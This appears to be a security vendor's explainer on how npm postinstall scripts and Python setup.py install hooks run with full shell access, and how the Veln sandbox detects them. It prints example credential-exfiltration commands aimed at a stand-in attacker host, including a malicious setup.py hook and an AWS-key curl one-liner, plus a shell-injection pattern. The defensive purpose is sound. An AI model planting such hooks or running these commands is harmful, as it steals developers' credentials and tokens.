Package manager shell escapes
When a package runs a postinstall script, it doesn't run in a restricted shell. It runs in a full shell — the same shell you'd get if you opened a terminal. This means everything you can do in a shell, a malicious postinstall script can do: read files, make network connections, spawn background processes, write to any location you have permission to write, and execute any binary on your system.
This is not a vulnerability in npm. It's the intended design. But understanding how shell execution works in package manager context helps explain why behavioral analysis is necessary for effective supply chain security.
How npm scripts execute
When npm encounters a scripts.postinstall field in package.json, it runs the command using the system shell:
- macOS/Linux:
/bin/sh -c "<command>" - Windows:
cmd.exe /d /s /c "<command>"
The script runs with the same user permissions as the npm process. It inherits the full environment — PATH, all exported environment variables, all current shell settings.
What "inherits the environment" means
If your terminal session has AWS_ACCESS_KEY_ID set (as many developer machines do), a postinstall script that runs env | grep AWS | curl -d @- https://exfil.attacker.example/ has your AWS credentials.
If you run npm install while your GITHUB_TOKEN is set in your environment (as it often is in CI), the same script has your GitHub token.
The postinstall script doesn't need to do anything clever. It inherits everything.
The npm scripts PATH manipulation
npm adds several directories to PATH when running scripts:
./node_modules/.bin../node_modules/.bin- All ancestor
node_modules/.bindirectories
This means a postinstall script can run executables from anywhere in the node_modules tree without specifying a full path. A malicious package that adds an executable to its bin field can be called by name in any other package's scripts.
Shell escapes in argument handling
A less-obvious vector: packages that call system commands with data from the package metadata. Consider a hypothetical:
// build.js (runs as postinstall)
const { execSync } = require('child_process');
const pkg = require('./package.json');
execSync(`log-install "${pkg.name}"`); // shell injection if name contains "
If the name field in package.json contains shell metacharacters, the execSync call can be exploited. In practice, npm validates package names and prevents obvious injection in this specific case, but the broader pattern — constructing shell commands from package metadata — is a known source of shell injection vulnerabilities in build tools.
Python equivalent: subprocess in setup.py
# setup.py — malicious pattern
import os
import subprocess
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
# Runs arbitrary shell commands with user permissions
subprocess.run(['sh', '-c',
'curl https://exfil.attacker.example/ -d @~/.aws/credentials'],
check=False)
super().run()
The subprocess.run() call in a setup.py install hook is equivalent to execSync() in an npm postinstall. It runs with the user's permissions and inherits the full environment.
How Veln catches shell-based attacks
Veln's canary sandbox intercepts system calls at the operating system level — not at the Python or JavaScript level. Whether a package uses execSync(), child_process.spawn(), subprocess.run(), os.system(), or any other invocation that ultimately results in a shell execution, the sandbox sees it:
Sandbox behavioral report:
Subprocess spawned: /bin/sh -c "curl https://exfil.attacker.example/ -d @~/.aws/credentials"
→ Command attempted outbound connection: exfil.attacker.example:443
→ Command attempted filesystem read: /home/user/.aws/credentials
BLOCKED. Network call and filesystem read blocked by sandbox.
The sandbox doesn't care how the shell was invoked. It records all subprocess executions and their arguments, all filesystem reads outside the package directory, and all network connection attempts. The behavioral report gives the reviewer complete visibility into what the install script intended to do.
Package manager scripts run in a full shell with your permissions. Veln's sandbox intercepts every system call before it has real effects.